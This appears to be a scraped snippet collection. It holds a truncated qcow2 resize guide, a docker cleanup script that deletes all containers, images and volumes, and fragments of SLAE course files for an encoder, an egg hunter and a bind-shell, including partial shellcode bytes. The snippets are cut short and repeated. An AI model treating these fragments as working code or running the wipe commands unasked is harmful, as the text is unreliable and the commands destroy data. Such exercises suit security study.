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## resize_disk_image.md

      
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                How to resize a qcow2 disk image on Linux
              
          
    How to resize a qcow2 disk image on Linux

This example takes olddisk.qcow2 and resizes it into newdisk.qcow2,
extending one of the guest's partitions to fill the extra space.
1. qcow2 format

1.1. Verify the filesystems of olddisk.qcow2


## docker-cleanup.sh
docker system prune
docker container stop $(docker container ls -aq)
docker container rm $(docker container ls -aq)
docker rmi $(docker images -aq)
docker volume prune

## insertion_encoder.py
# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import getopt
import string

## egg_hunter_shellcode.c
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char egg[] = \

// Write "Egg Mark" and exit

"\x90\x50\x90\x50"   // <- First Four Bytes of Signature

## egg_hunter.asm
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm

global _start

section .text

_start:
	; setting the registers
	cld			; clear the direction flag (DF) to use scasd correctly
	xor ecx, ecx

## shellcode.c
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"

## shell_bind_tcp_shellcode.asm
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp_shellcode.asm

global _start

section .text

_start:

	; Setting port number

## shell_bind_tcp.c
// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{

## shell_bind_tcp.asm
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.asm

global _start

section .text

_start:

	; syscalls (/usr/include/asm/unistd_32.h)
	; socketcall numbers (/usr/include/linux/net.h)
	docker system prune
	docker container stop $(docker container ls -aq)
	docker container rm $(docker container ls -aq)
	docker rmi $(docker images -aq)
	docker volume prune
	# This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/4th.assignment/insertion_encoder.py

	#!/usr/bin/python
	# -- coding: utf-8 --

	import sys
	import getopt
	import string
	// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c

	#include <stdio.h>
	#include <string.h>

	unsigned char egg[] = \

	// Write "Egg Mark" and exit

	"\x90\x50\x90\x50" // <- First Four Bytes of Signature
	; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm

	global _start

	section .text

	_start:
	; setting the registers
	cld ; clear the direction flag (DF) to use scasd correctly
	xor ecx, ecx
	// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shell_bind_tcp.c

	#include <sys/socket.h>
	#include <sys/types.h>
	#include <netinet/in.h>
	#include <stdlib.h>
	#include <unistd.h>

	int main()
	{